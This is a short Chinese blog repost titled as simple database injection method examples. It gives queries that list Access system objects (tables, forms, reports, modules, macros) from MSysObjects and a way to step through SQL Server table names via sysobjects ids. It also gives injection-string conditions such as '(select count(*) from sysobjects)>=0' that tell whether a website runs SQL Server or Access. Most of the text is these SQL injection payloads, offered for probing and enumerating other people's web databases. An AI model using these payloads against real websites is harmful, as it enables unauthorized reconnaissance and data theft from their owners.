简易数据库注入方法实例

使用直接的查询语句获取ACCESS数据库中的表名/窗体/报表/模块/查询/宏

查询:

SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=5 ORDER BY MSysObjects.Name;

窗体:

SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)=-32768 ORDER BY MSysObjects.Name;

表:

SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (Left$([Name],4) <> "Msys") AND (MSysObjects.Type)=1 ORDER BY MSysObjects.Name;

报表:

SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32764 ORDER BY MSysObjects.Name;

模块:

SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32761 ORDER BY MSysObjects.Name;

宏:

SELECT MSysObjects.Name FROM MsysObjects WHERE (Left([Name],1)<>"~") AND (MSysObjects.Type)= -32766 ORDER BY MSysObjects.Name;

使用直接的查询语句获取SQL数据库表名的方法

-----------------------------------------------------------------------

我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048

select top 1 name from sysobjects where xtype=u and id>2099048

再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的

以此类推,我们可以得到所有的用户表的名字了

使用数据库的系统表对象来判断网站中使用的是何种数据库格式(SQL/ACCESS)

-----------------------------------------------------------------------

我们可以在注入串中加上一个查询语句:

(select count(*) from sysobjects)>=0

如果查询结果成立,即是使用SQL数据库的,反之否.

加以下语句可判断是否为ACCESS:

(select count(*) from Msysaccessobjects)>=0

如果查询结果成立,即是ACCESS数据库,反之否。

转载于:https://www.cnblogs.com/godjiahui/archive/2008/01/25/1053305.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值